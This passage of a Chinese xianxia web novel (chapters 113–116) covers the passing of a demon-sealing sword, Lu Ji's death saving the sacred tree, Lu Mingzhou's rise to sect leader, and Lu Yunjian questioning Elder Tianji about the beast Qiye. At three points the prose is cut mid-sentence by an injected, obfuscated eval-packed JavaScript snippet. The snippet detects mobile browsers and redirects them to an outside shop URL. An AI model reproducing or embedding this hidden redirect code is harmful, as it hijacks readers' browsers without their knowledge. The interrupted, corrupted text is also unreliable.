天玑长老没再去拽贺江年,也不再发怒,像是忽地有些疲累,不再有半分多余的力气。 他叹了口气,道:“你追上去又能如何?追上去,是劝两个再不会恢复神智的人回头,还是辛辛苦苦追上,又只能放他们走?” “我……” 天玑长老轻轻摇头,道:“贺江年,即便不是为了让你爹娘放心,你也必须好好活下去。这世上唯一能镇住奇焳的镇魔宝剑,不在大长老处,而在我手中。” 贺江年蓦地睁大眼睛,下意识低头去看天玑长老牢牢佩在腰间的明澄剑。 下一刻,天玑长老便道:“而我将它传给了你。” 113. 裂渊影 天玑长老又叹息一声,道:“你让我为它取字,我取了‘明澄’二字。来日如若神树倒伏,奇焳出世,只能由你携明澄前去镇压。” 贺江年的呼吸都像是停滞了,许久之后,他才哑着声嗓问:“为什么一定是我?明澄不是我的定契佩剑,谁来都……” “只能是你。”天玑长老打断他的话,“贺江年,你记住了,断不能教明澄落入旁人之手,只能是你,绝不能是旁人,你给我记……”话尚未说完,身后结界便是猛地一震。 天玑长老面色一沉,转头望去,见又一片利刃如同密织罗网般覆压而下,正欲抬手召来灵弓,却忽觉腰间一轻,一道紫衣身影已然冲了出去。 再看腰间,分明只剩了剑鞘,明澄剑早不见了踪影。 天玑长老一惊,勉力起身,正欲追上,却见一道强劲耀目的白色灵光如同金乌跃空,刹那驱散了层层利刃—— 贺江年的灵力源源不断地灌入明澄,白色光华照彻天幕,织出一张紫白灵光交错的罗网。 那蛛丝罗网分明轻薄透明如蝉翼,却又如同天幕沉沉下坠,无论如何矫健敏捷的身形,在这样一道缉拿压制的阵法之中都无所遁形。 天玑长老望着那片耀目灵光,没再追上去。 那样强劲的灵光,便是在定契武器上,也是极为难得的。 天玑长老的心忽地沉到了底,终于再度肯定,将镇魔宝剑传于贺江年,果真没有错。 即便不是定契佩剑,贺江年也能发挥出明澄剑的最强效力……他果真没有看错。 那两个永远站在贺江年身后,永远坚定不移地护着他、支持他的人已经离去了,而那个见到谁都傻兮兮地笑的孩童,终于长成了再不用他们护佑的青年仙君。 贺江年第一次见到天玑长老,还不待云鹤与贺昀提醒,便已经笑嘻嘻地唤了句“长老好”,还是云鹤在他身后用手肘捅他,他才又规规矩矩地行礼。 天玑长老为人潇洒随性,不常待在门派中,座下弟子也不多,骤然见着这么个看起来傻兮兮的小孩儿,有些莫名:“这是?” 云鹤笑道:“这小子非要进门派学艺,我们不让,他就夜里在床上打滚哭嚎,没办法,我们只能来寻长老了。长老若是愿意收他,就让他留在云间世,长老若是不愿意,那我们还是把他领回去,晚上要是再哭,就拿了绳索捆在床上。” 天玑长老上上下下打量这傻小子许多遍,到底卖了云鹤与贺昀几分面子,收了他为徒。 好在这孩子虽傻了些,但胜在勤学刻苦,也没沾染上别的弟子喜攀比、好打斗的恶习,算得上一位清清正正的正道仙君。 于是后来天玑长老将镇魔宝剑传与贺江年,又应贺江年所求,为镇魔宝剑取字时,取了“明澄”二字。 其心明澈,明似朝露;其志澄朗,朗若春风。 遮天蔽日的罗网缓缓落下,而后蓦地收紧,缚住了在林间奔逃的两个身影。 阵法消解,强劲灵力倏然回撤,贺江年蓦地咳出一口血,牵住蛛丝罗网的手一软,手中的明澄剑险些掉落。 不过这一回,他将明澄剑牢牢护在怀里,没有让它再掉落在地。 没了亮至白炽的灵光映照,贺江年这才注意到云间世方向,天边那一道有如岩浆火流的事物,初时遥远模糊,他一度以为是因灵力消耗过大而从自己眼中流出的鲜血。 直到天玑长老扶住他,替他将体内躁动的灵流平稳,他才真真切切地看清,那是一道猩红刺目的裂缝,无数灵体穿梭其间,似在缓缓将其撕裂。 …… 陆明周一面击杀妖魔,一面用灵力支撑神树,神树虽终于不至崩塌,但地底的妖魔却止不住地翻涌上来,他苦苦支撑许久,已然筋疲力竭。 自山中各处赶来、一同抵御妖魔的弟子早已十分吃力,见妖魔不减反增,急道:“少主,根本杀不完啊,这样下去不是办法啊!” “少主,去请尊主吧,虽说尊主还在闭关,但我们不能眼睁睁看着神树……” “少主,我们快要撑不住了……” 更有人慌乱之下口不择言,高声朝陆明周道:“少主,和镜阳宗初代掌门缔结了契约的奇焳不是就被镇在神树下吗?现在奇焳无主,我们不如借奇焳之力……” 然而话未说完,一股鲜血忽地溅上半空,紧接着那名弟子整个人便飞了出去,重重砸在地面。 有弟子张皇地下意识要去察看他的伤势,却被一道强劲灵力斥出数丈。 陆明周面色苍白,双目视物都不甚清晰,正欲转头去看,却忽觉右肩被人往后一拽。他的灵力一时不稳,神树却不仅没有受到影响,反而以极快的速度恢复原状。 陆明周被拽得后退几步,抬头看清来人,惊道:“父亲!” 陆稷冷声道:“若还有人生出与妖魔勾结的心思,就地格杀勿论!” 众弟子面面相觑,再无一人敢上前去察看重伤的那名弟子的状况。 陆稷挡在陆明周身前,汹涌灵力不断涌向神树,神树树根暴长数倍,再度探入地下,将向外爬动的妖魔尽数按入地底。 神树复旧如初,一树几乎落尽的繁华再度盛开,补全了云间世高耸入云的结界。 陆稷转过身来,陆明周这才看见他额上青筋暴起,双目都有些混沌,鲜血已然染红了大片衣襟。 陆明周一惊,忙上前去扶:“父亲,您怎么样?我去寻侍药长老……” 陆稷一把抓住他:“不必了。” 云间世大批修士都驻扎在外,协助地方仙门维持圣清结界,此时云间世已不剩多少能入世除祟的修士,方才见云间世结界不稳,急急忙忙奔中孚殿而来的弟子大多经验不足,神树虽已稳定,他们却仍然乱作一团。 陆稷却没再理会旁人,只拽了陆明周往云间世禁地奔去,陆明周这才发现时空裂缝正不断扩张延伸,心中不由一凛。 前番陆云笺炸得断界阵一时不稳,却未能将其摧毁,而他后来也全然未能找到机会,更不知如何才能彻底毁去断界阵,如今裂缝扩张,开启阵法箭在弦上,他要如何才能阻止? 陆稷用掌门令打开禁地结界,那道横亘于天穹的猩红裂缝便彻底展现在眼前,如同岩浆一般流动,即将爆发出无尽力量。 只是不知这力量究竟会是新生,还是毁灭。 无数无形无状的灵体游荡在裂缝边缘,有的甚至直接穿越了裂缝,去往另一片天穹。 裂缝扩张至此,灵体几乎可以自由通过,若是撕裂得再大些,无论多少生人抑或是妖魔,便都能够通过无碍。 陆稷无视了四处流窜的灵体,领着陆明周,径直御剑攀上了裂缝边缘。 寒气刹那扑面而来,陆明周这才发现,原来看上去滚烫灼人的裂缝边缘,竟是凛冽如寒冬。 他站在裂缝边缘,不由自主地朝下方一望,却是骇然失色。 另一个时空…… 果真如陆云笺所言,没有灵气,没有术法,没有结界,没有在修真界司空见惯的一切,也没有大批躁动的妖魔鬼怪,偶尔游荡而过的游魂精魅静得仿佛一阵风,吹过清平无恙的人间。 陆明周静静立在裂缝边缘,看着下方灰白的方块似的事物,不知看了多久,天色似乎有些晚了,那些灰白的方块之中亮起了星星点点的光。 夜幕降临时,点点亮光像是万丈星河落了下去,明明隔得那样远,听不见任何声音,陆明周却无端觉得那光亮很是热闹。 久违的万家灯火,清平人间。 如此截然不同的景象骤然闯入眼帘,不真实得仿佛身处梦中,直到陆稷准备御剑带他离去,陆明周才倏然回过神来。 陆稷的脸色极为苍白,冷峻却丝毫未变,陆明周在熟悉的忐忑里思索片刻,道:“父亲,另一个时空……并非修真界,没有灵气,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二人降落在中孚殿前,陆明周脚下不稳,陆稷伸手扶他,他却几乎恐惧地挥开了父亲的手,待后知后觉失礼,才扑通一声跪落,口中说的却是:“另一个时空并非修真界,妖魔一去,定然血流漂杵、民不聊生,还请父亲三思!” 陆稷闻言,声色冷了几分:“周儿,我问你,你的剑叫什么名字?” 陆明周道:“……云振。” “所取何意?” “……继承大业,振兴宗门。” 陆稷叹息一声,拍了拍陆明周的肩:“你既记得,就当照此行事。你如今也有二十三了,已是当得尊主的年纪,行事应当……” 陆明周道:“可父亲如此罔顾另一个时空,又和那些妖魔鬼怪有什么区别?!眼睁睁看着另一个时空的百姓流离惨死,只为保得云间世尊位,先祖若泉下有知,又怎会安心!” 话音未落,陆明周眼前灰影一闪,脸上挨了重重一击,整个人倒伏在地,嘴角渗出丝丝鲜血。 陆稷的手尚未收回,向来从容冷峻的人此时浑身剧烈颤抖,几乎站立不稳:“畜生!你说——你说什么?!” 陆明周眼前阵阵发黑,没有去擦嘴边血迹,只再度爬起,恭恭敬敬地垂眸跪着,脊背却挺得很直:“倘若云间世罔顾人伦道义,那空有尊位,又有何人会信服?这样来的尊位,又能坐得多久?” “你——” 陆稷一时气极,然而刚出口一个字,便猛地咳出一口鲜血,藏蓝衣袍被染透,上头银丝所绣腾龙出云的纹样已然被染成了鲜红,恍若泣血。 陆明周一惊,下意识起身去扶,却先一步听到了身后的阵阵低吼。 聚在中孚殿前的长老弟子早便散去了,原以为神树已经安然无恙,然而不过短短片刻,神树竟连根拔起,无数妖魔自地下扭曲着嘶吼着尖啸着汹涌而出,而神树倒伏在地,一树繁花都作枯枝,几乎没了半点生机。 上方云间世的结界,以及云间世的圣清结界,正以惊雷破空的速度碎裂崩塌。 114. 血濯枝 原来方才陆稷只是暂时稳住了神树,不过短短时日,神树下镇压的妖魔便又卷土重来。 陆明周知晓陆稷在开启逆转时空之阵时灵力耗费巨大,以致一直不能恢复如初,也知五年以来他维持云间世结界、圣清结界与断界阵耗去了太多精力,可却不知竟到了如此地步…… 即便是天下第一大派的尊主,亦不能彻底稳住神树,不能保全云间世的结界。 陆明周僵在原地,只觉遍体生寒,像是被埋入堆积了千百年的积雪里,往上往下都是白茫茫的绝路,而他别无所能,唯有慢慢窒息。 陆稷仍不住地咳着血,竭力拽住陆明周,像拽一个木僵人偶般将他往中孚殿内拖:“陆明周,今日我下一道死令,我死后,你必须遵我之令,撕裂时空,引渡妖魔,保全云间世。否则……你枉为我陆家子孙!” 陆明周茫然地看着神树,待反应过来,才猛然意识到自己不知何时已来到中孚殿内,而陆稷已然迈出中孚大殿,站在神树之前。 他猛地起身朝殿外奔去,陆稷却一挥手,中孚大殿殿门轰然闭合,殿内未点一灯,无尽黑暗霎时吞没了陆明周,光亮连同妖魔的啸叫一同被隔绝在了门外。 陆明周茫然无措地拍着殿门,声音却仿佛也被关在了殿内,无人听得见,也无人会回应。 什么叫“死令”?什么叫“我死后”?不能撕裂时空……不能罔顾人命…… 他的思绪像是被这几个念头卡住不动了,明明应当有很多话要说,可话到了嘴边却又只剩一团混乱的空白,只能声嘶力竭地一声声唤着“父亲”。 不知唤了多久,喑哑的呼喊显得那样苍白无力,陆明周抬起手,这才发现手掌被殿门上的浮雕花纹磨出了道道血痕。 他怔愣地看了片刻,忽觉脸颊有些凉又有些痒,下意识用手去拂,才发现那是不知何时爬了满脸的眼泪,与手掌的鲜血混合,一片狼藉。 血混着泪,云间世的少主,怎么这样滑稽。 太滑稽了。 就算出了这殿门,他也保不住神树,保不住云间世结界,保不住圣清结界,阻不了父亲撕裂时空,阻不了妖魔归世,阻不了灾劫降临。 修真界众仙门众修士崇拜艳羡的风华五君之一,云间世的少主,原来竟是一个废物。 陆明周忽地觉得有些乏力,于是干脆坐在了地上,将脸埋入臂弯。 腰间却忽地啪嗒一声响,像是有什么东西随着他的动作触到了地面。陆明周原当那是少主令牌,然而将目光投去,却一时被黑暗中那点极为突出的光芒晃住了眼。 那样粲然的银光,并非少主令牌所能有。 陆明周一动不动地盯了那块银光闪闪的事物片刻,才回过神来去拾起。精致的纹样在他眼里已是一片模糊,他无意识地摩挲了那事物几下,才骤然回过神。 ……掌门令牌。 云间世的掌门令。 陆明周猝然起身,以灵力催动掌门令,毫无阻碍地解开了殿门上的结界,外头已是一片漆黑,唯独神树旁,一团蓝色灵光愈来愈盛,令人无法直视。 他从未见过那样强盛的灵光,像是千万朵焰火同在一处绽放,映得整片夜幕恍如白昼。 争相爬出的妖魔仿佛受到了什么感应一般,都狂乱躁动起来。 倒伏的神树被无数妖魔踏得陷入烂泥之中,土地龟裂,尘土飞扬,啸叫嘶吼排山倒海而来,数只妖魔往山下冲去,所过之处,草木屋舍,尽皆损毁,无一幸免。 不远处又间歇地亮起了不同的灵光,厮杀打斗之声不绝于耳。 混乱的喧嚷在陆明周耳中俱成了苍白的死寂,他竭尽全力也不能将神智拽回,只下意识朝着那团极盛的灵光奔去。 然而不待他看清被灵光包围的身影,那团灵光便骤然爆裂开来,像是轰然而至的惊雷,炸得他浑身动弹不得,周身筋骨血肉像是蓦地被扯紧,又猛地被松开,无形无状的力量将他斥飞数丈。 陆明周重重摔落在中孚殿前石阶之上,咳出一口鲜血。 浓重的血腥气扑面而来,像是一阵滂沱血雨劈头盖脸地砸下来,陆明周含着一口咸腥,勉力抬头。 目光所及却是一片血红,血雾混杂着飞尘,模糊了人眼。 陆明周绝望而茫然地睁着眼,任由纷飞沙尘糊了满眼,又任由泪水将干涩的双眼冲刷干净。 耳边杂乱尖锐的声响消失了,这一回,真的成了一片苍白的死寂。 忽然一道璀璨金光照来,如同金乌跃空一般瞬时驱散了弥漫的血雾,陆明周怔愣地抬着头,看见一片完整如初、甚至还要强上数倍的结界,延伸出方圆百里,由其所生的圣清结界仍旧流光溢彩、坚牢非常。 唯一不同的是,神树的金色华光之中裹挟着冷峻的蓝色灵光,像是数日之前,妖魔不曾临世时,一个难得的晴好天气,日光自湛蓝天穹洒下,为云间世镀上一层金边。 陆明周恍然想起孩童时,父亲第一次带自己来中孚大殿,第一次带自己来看金光灿灿的神树,自己是那样激动,比见了任何一样新奇的小玩意儿都要更加激动。 尚是个六岁小孩儿的陆明周全然藏不住半点心思,不敢上前去摸神树,只好隔得远远地拍手笑道:“这棵树金光灿灿的,好神奇,我从来没有见过这么好看的树。父亲,我可以再靠近一点看看它吗?” 陆稷道:“你若想看就去看,这神树是你的,云间世也是你的,云间世辖地内的每一寸土地都是你的,你想做什么,无人会敢有异议。” 陆明周听得一知半解,因此只听进了前半句话,小心翼翼地上前摸了摸如鳞甲般粗糙的树干,却被簌簌落下的白色花瓣扑了满脸:“唔,下雪了!” “那不是雪。” 陆明周思维却跳得快,根本没听见父亲说了什么,只自顾自抬起头,而后被上方巨大的结界惊得瞪大了眼睛,连话都说不利索:“哇啊,金色的天空!好漂亮啊!那片天空也是我们家的吗?” “是你的。”陆稷很耐心地纠正他,“那是云间世的结界。” 陆明周的眼睛被金色的结界映照得发亮,连带着整个人也像是被金光笼罩着一般:“父亲,我在书上看到过,好多结界都可以抵御妖魔邪祟的,云间世的结界这么大,我是不是可以把大家都叫来云间世,这样就没有妖魔鬼怪能害人了!” 许久未听到父亲的回应,陆明周转过头去看,见父亲的神色忽地又冷峻下来,顿时明白自己说错了话,赶忙紧紧闭上了嘴,忐忑而慌张地看着父亲。 陆稷道:“回去把《道庄玄籍》抄五十遍。”说完不待陆明周说话,转身欲走。 陆明周像是被一道晴天霹雳劈得傻站在原地,好容易缓过神来,追了几步,低声道:“《道庄玄籍》记载的都是几百年前的事,什么……”他原想举出一些句子,奈何一句也想不起来,便更加泄气,“我、我看不懂……” 陆稷转过身来:“我考你一问,你若能答对,这五十遍便免了。” 陆明周忙连连点头,眼睛再度亮了亮。 “如若有朝一日,妖魔临世或是众仙门叛起,保全云间世与救护旁人,你选哪一者?” 陆明周小心观察着父亲的神色,却始终猜不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562130|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲会更想听到什么答案,于是深深吸了一口气,回忆着书上的道义之说,声音因为忐忑而微有些颤抖:“古、古人说,‘达人无不可,忘己爱苍生’,我……” 他才开口,陆稷面上便已有愠怒之色:“读书重在思索,你一味盲信,岂非随波逐流!既要担云间世尊主之责,便该继承祖业、复兴宗门,岂可因仁义之说葬送数百年祖业!” 继承祖业,复兴宗门。 不惜一切代价,保全云间世。 神树繁花几乎已经蔓延覆盖了整片天穹,雪白花瓣簌簌而落,像下了一场沉重而刺骨的雪,掩盖了土地的累累伤痕,遮去了尸骨零落、鲜血漫天的痕迹。 不知过了多久,有人自山下急急奔上来,高声唤着:“尊主——少主——” 陆明周了无声息地伏在地上,像是由内到外、彻彻底底地死去了。 那弟子起初甚至不曾看见他,直到准备奔进中孚殿时,才骤然发觉伏在地上的人,忙将他扶起:“少主,你怎么了?少主?” 陆明周一动不动地盯着神树的方向,靠着本能问道:“云间世的情况如何了?妖魔都诛灭了吗?” “是……原本数只百年长妖魔忽然袭击弟子住所,我们有些招架不能,好些弟子都受了伤,但不知为何,那些妖魔一瞬之间都灰飞烟灭了,我们看到中孚大殿这边有极为强盛的灵光,不知何故,所以上来看看。” 此时另外几名弟子也赶到了,七手八脚地都来扶陆明周:“是啊少主,刚刚山顶的动静太大了,结界都险些支撑不住……” “山下呢?”陆明周的声音像是干瘪皱缩的白纸,“山下可有受到妖魔影响?” “这……我们都在山上应对妖魔,暂且没有注意山下的情况……” 然而不多时便有镇守在山下的修士来报:“少主,方才云间世的圣清结界不稳,境内数家仙门的圣清结界都跟着出了纰漏,其中一字门掌门灵力不支、爆体而亡,赤霄庄、莲华寺、望月教圣清结界崩塌,吞象阁残部弃阵而逃,太玄庄、清净阁支撑多方结界,已然不支,请求尊主动用掌门令维持圣清结界……” “少主,斩妖门、长春教随吞象阁残部弃阵而逃,兴云宗弟子死伤过半,掌门怒而摧毁圣清结界……” “少主,圣清结界已修复完毕,但西北方结界仍然极不稳定……” “少主,山下来了一批死伤惨重的门派,要求尊主出面……” “少主,有数百修士与百姓要求开启山门,放他们入山避难……” 陆明周在混乱急迫而无休无止的呼唤中逐渐醒来,轻轻拂开来扶自己的众人,再度挺直了脊背。 众人这才发现陆明周的月白衣袍沾满了尘土,大片干涸的血迹结成黑红的块,显得往日里飘逸出尘的衣摆那样沉重而僵硬。 一如往日里朗月清风的陆仙君此时满面尘灰、血泪俱下一样狼狈不堪。 “云间世的掌门是我。”陆明周哑声道,“我会下山去见他们,稳定圣清结界。” 他自始至终如父亲所期望的那般紧紧攥着云间世掌门令牌,即便手掌被磨得再度皮开肉绽也不曾放开。 陆明周缓缓闭上眼睛,埋葬了过往二十三年背负宗门期许、众人艳羡的云间世少主。 再睁眼时,是云间世第九代掌门。 “传我第一道掌门令,云间世第八代掌门陆稷陆尊主竭尽灵力,保全圣清结界,众仙门当以其为表率。将吞象阁诸人缉拿回云间世,带兴云宗掌门前来见我。如有人再敢弃阵而逃、摧毁圣清结界,以叛道之罪论处,如有必要,就地格杀。” 115. 镇魔剑 位于千机阵中心的云间世神树稳定繁盛,万里圣清结界便也安稳如初,结界之下,妖魔无处藏匿,如此半月,仿佛回到了灾劫降临前安平无恙的时日。 然而众仙门不敢掉以轻心,尚有余力的开始养精蓄锐、准备来日对战妖魔,遭受重创的都抓紧时间恢复元气。 麻痹大意了三百二十年的修真界终于在遍野尸骸中再度拿起了武器。 人人皆知,圣清结界不过是防御结界,终有一日会破碎崩塌,彼时妖魔出世,唯有刀剑相对。 防御结界,不过是延缓了修真界与诸多妖魔的死战,让修真界得有片刻喘息,尚能在覆灭之前去搏得一线生机。 天玑长老抬头望了望金蓝交错的神树结界,微不可察地叹了口气,复又低眸,继续拽着昏厥不醒的贺江年往弟子房走。 如今尚不能入世除祟的弟子都被遣散了回家去,能入世除祟的修士也有许多在外驻守,即便是在云间世内,攻伐、防御、疗愈系弟子也各有其责,因此弟子住所显得空空荡荡,全然没有往日的热闹。 天玑长老将贺江年扶上床榻,索性在屋内坐了下来,以防贺江年一醒来又哭着喊着跑去地牢。 他正欲将明澄剑放在榻边,忽闻窗户上传来“哒哒”两声敲击声,而后“咔哒”一声响,紧接着一道劲厉的风自窗缝钻入,裹挟着一枚银刃擦过耳边,钉在床柱上。 天玑长老蹙眉看了那道窗缝片刻,起身走到窗边,却见外头空空如也,并无人影。 扎在床柱上那道银刃看似来得凶猛,实际上却收着力道,床柱上的痕迹并不很深,更没有把贺江年吵醒。 天玑长老将银刃尖端的纸条取下展开,上头未书文字,是一张潦草几笔绘出的指引符。 天玑长老回头看了贺江年一眼,见他晕得正死,便放下明澄剑,合上屋门,又开了一道保护结界,才跟随着指引符下山。 指引符所指的地方是一处荒废已久的木屋,四面环山,荒僻无人。 天玑长老抬手推开几乎已经朽烂的屋门,积淀已久的沉重霉味扑面而来,他抬手扇了扇,刚迈进屋,身后便紧跟进来一人。 来人脚步与气息都压得极轻,几乎了无痕迹,因此直到她开口说话,天玑长老才觉出有人跟在身后:“劳烦天玑长老跑了一路,到这种地方相见,失礼了。” 天玑长老回过身,见来人将严严实实遮住面貌的黑色兜帽摘下,露出一张略显疲惫但仍只见笑意不见愁苦的脸。 天玑长老颔首:“陆小姐。” “我哥刚当上云间世掌门,不知有多少仙门虎视眈眈,我不便使用通讯,也不能在云间世待太久,只能劳烦长老跑一路。”陆云笺道,“此来是想向长老请教几个问题。” 天玑长老道:“陆小姐但说无妨。” 陆云笺道:“半月前神树动荡,可是云鹤与贺昀二人造成的?二人如今如何了?” 天玑长老道:“是。二人似乎已被操纵,无法恢复神智,召唤妖魔的当日,江年亲手将二人……带回,如今二人俱被关押在云间世地牢中。” “……”陆云笺顿了片刻,“贺江年怎么样了?” 天玑长老默然许久,没有开口,只摇了摇头。 陆云笺轻轻叹了口气,却没有时间再多问此事,于是直奔下一个主题:“我虽与长老相交甚少,但也知晓长老是云间世为数不多的可信之人。灾劫发生前,云鹤与贺昀曾告知我们,‘倘若云间世有难,寻天玑长老,或可得救’。” 天玑长老抬眸,静静地望着陆云笺。 “十九年前助反叛的乌麟卫逃出镜阳宗的人,就是身在镜阳宗的长老您吧。” “如此看来,他二人十分信任陆小姐与归云仙君。”天玑长老将袖中的指引符取出,烧成灰烬,待黑灰随风飘散尽了,才继续道,“既如此,我也不必再隐瞒。 “师尊座下有两名弟子,即是我与兄长。兄长一心以继承云间世大长老一职为志,又时常疑心师尊偏心于我,我不愿与他争执,便去了镜阳宗。 “镜阳宗宗主季良衢看似为人爽朗,实则虚伪假意。陆小姐也知,三百二十年前,季家先祖与妖兽奇焳定下契约,灵力大增,自立一派,然而契约自然也有代价,代价就是季家一脉代代短命,不得好死。 “季良衢为摆脱诅咒,于古书上寻得一秘法——” 天玑长老言至此处,似乎很是嫌恶,强行压下恶心才继续道: “他与奇焳修成人形的后代结合,生下一子,意欲在其长至合适阶段时将其献祭。 “献祭的方式是采用某种秘法改造这一只人与妖结合诞下的‘人’,而后生食其血肉,如若顺利,季家一脉仍可利用奇焳的力量,却不会再受到诅咒,可谓一举两得。 “但他失败了。上古秘卷残缺不全,改造失败,那‘人’失去了利用价值。 “后来奇焳的后代种族肆虐镜阳宗地界,镜阳宗控制不能,季良衢利用献祭阵法将他献祭给奇焳后代种族,这才躲过一劫。” “‘常南之难’。”陆云笺道,“那一难中死伤百姓数千,镜阳宗力平灾难,从此稳坐天下第二大派之位。” 天玑长老闭了闭眼,不愿再去回想此事,道:“那时季良衢担心阵法出意外,自己会遭到反噬,于是派出一支乌麟卫为献祭阵法护法,但他不曾言明,参与献祭阵法的人——无论是献祭者还是护法,都无一例外会被奇焳后代吞噬。 “那支乌麟卫察觉此事,便怒而反叛,却被季良衢剿灭。我实觉季良衢恶心至极,便暗中助其中几人逃脱。 “那几人逃出镜阳宗地界,在云间世地界一处偏僻少人之处落了脚,最后却只活下来三人,云鹤与贺昀就此留在云间世地界,而另一人不知去了何处,杳无音讯。 “乌麟卫体内的毒唯有镜阳宗宗主可解,云鹤与贺昀不能解毒,待贺江年出生后,便将毒物转移到自身体内,但贺江年年岁渐长,余毒便又蠢蠢欲动—— “直至半月前,云鹤与贺昀将贺江年体内最后的余毒也尽数转移到自身体内,贺江年终于再不用受余毒所扰,而他们二人,却因此被幕后之人盯上。 “云鹤与贺昀原不想再与仙门多有纠葛,但贺江年自小便极想入仙门,二人终是不忍,便求我将贺江年收入门下……自他们逃出镜阳宗,如此竟也安平无事地过了二十年。” 天玑长老说到此处,又是一声叹息。 陆云笺抬起眸,即便理智提醒她不应当在这种无关紧要之事上停留太久,却仍忍不住默然,一时没有继续问下去。 天玑长老说“如此‘竟’也安平无事地过了二十年”。 世人皆知暗卫在仙门中不过鹰犬,银鹰卫是云间世的爪牙,乌麟卫便是镜阳宗的走狗。 藏身暗处、杀人无痕,这样如同一辈子躲在阴暗潮湿之处的虫豸的人,竟也能拥有称得上“平安喜乐”的二十年,他们的孩子,竟也长成了一个称得上“善良天真”的正道仙君。 天玑长老平复了心绪,继续道:“世人不知季良衢所行之事,只大力歌颂镜阳宗。然而季良衢虽获盛名,却未能打破诅咒,因此在宗主夫人病逝前,他担心诅咒延续,未曾有一子。宗主夫人病逝后,他未曾续弦,只将季公子与季小姐收入门下,既是亲传弟子,也是义子义女。” 陆云笺闻言若有所思地低下了头。 天玑长老道:“还有一事,想来陆小姐与归云仙君也有所猜想——镇魔宝剑并不在兄长手中,不曾失落,也不曾被毁。” “这就是‘倘若云间世有难,寻天玑长老,或可得救’。”陆云笺抬起头,“我此来,为的就是长老这句话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567878|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天玑长老道:“师尊逝世前,忧心兄长过于重视名利而不能助云间世镇压妖魔,于是将镇魔宝剑传与我。从此兄长与我形同陌路,我为避免节外生枝,便不曾将此事告知旁人,兄长为稳住其在云间世的地位,也不曾言明真相,如此阴错阳差,保得镇魔宝剑无恙。” 陆云笺道:“既是镇魔宝剑无事,那为何……” “陆小姐有所不知,镇魔宝剑镇的并非是神树之下的所有妖魔,”天玑长老道,“镇魔宝剑,只镇奇焳。” 陆云笺微微蹙眉:“……只能镇奇焳?” 天玑长老颔首:“三百二十年前,罗聿被废去大长老一职,我尹氏先祖铸造镇魔宝剑献与陆成蔺掌门,助陆掌门镇压奇焳、打压镜阳宗,由此获得大长老一职,此后三百二十年,云间世大长老一职基本由尹氏一族担任。” “尹氏先祖为获得大长老一职,谎称镇魔宝剑能镇压神树之下所有妖魔,”即便说起先祖,天玑长老的语调仍然平淡如常,“此后数百年,除我尹氏一族外,无人知晓真相。 “陆小姐也知,神树之下镇压的众多妖魔,最强的便是奇焳。如今奇焳沉睡数百年,如若被有心之人唤醒,必然会造成劫难。” 陆云笺道:“可奇焳既与季家先祖订立了契约,除了季家直系血脉,还有谁召得动?” “的确,世上已无与奇焳订立了契约的季家直系血脉,”天玑长老道,“奇焳如今,可说是‘无主’,若是它再度出世,难免会有如季家先祖一般觊觎其力量的人,与它订立新的契约,成为它的‘新主’。” 而最有可能如此行事的,就是发动灾劫的幕后之人。 陆云笺思索片刻,道:“我倒认为,未见得就会是‘新主’。” 天玑长老微微蹙眉:“……陆小姐此言何意?” 陆云笺并未言明季良衢与季衡被附身之事,只道:“季良衢与奇焳后代诞下的‘人’,也是季家直系血脉。” 天玑长老一时默然。 虽说季良衢与奇焳后代诞下的‘人’早已身死,但如此看来,季良衢不见得没有别的子嗣,只是并未为世人所知。 陆云笺见天玑长老不言,转而问道:“长老可知,奇焳究竟是怎样的一只妖兽?史书所载不过寥寥几句,只说季家先祖与其订立契约一事,各个图录也只记载了奇焳的形貌,却并未提及其余特性。” 天玑长老摇头:“奇焳极少现世,其后代如寻常妖魔一般残暴喜杀戮,但奇焳似乎并非喜杀戮的妖兽。除此之外,我也并无所知。” 陆云笺道:“若是不能知其特性,长老有几成把握在其出世时将其镇压?” 天玑长老道:“只要镇魔宝剑无恙,九成。” 陆云笺闻言忽然笑了:“如此便够了,我们手中又多了一张足以压制幕后之人的牌。至于其余的牌……” 她抬眼望了一眼门外的天空,又收回目光:“过不了几天,圣清结界的灵力就会耗竭,届时妖魔出世,无可阻挡。 “不过如此庞大强劲的结界能撑将近二十日也实属不易,妖魔临世前,所有百姓应当都能迁移至各仙门的结界之内。 “那时修真界必然要刀剑以对,不过对亡魂厉鬼之类,我们还能用引魂之阵。” 天玑长老微微一怔:“引魂之阵?可引魂之阵不是早已失传……” “若说失传也不尽然,怜生寺无津大师便知晓如何开启引魂之阵。他将引魂之阵传给他的一位故人,我与裴世碰巧得了这阵法。”陆云笺道,“圣清结界一破,三大门派便会开启引魂之阵。” 天玑长老看着眼前这个分明才二十,却一力担起守护修真界之责的年轻人,一时不知该说些什么。 陆云笺闭了闭眼,道:“届时便是一场死战,修真界必须取胜。因此还请长老,务必护好镇魔宝剑。” 116. 啼哀灵 送走天玑长老,陆云笺并不急着回哀牢,而是在木屋不远处的山林中转悠了几圈,估摸着天玑长老快到云间世了,这才慢悠悠地往哀牢去。 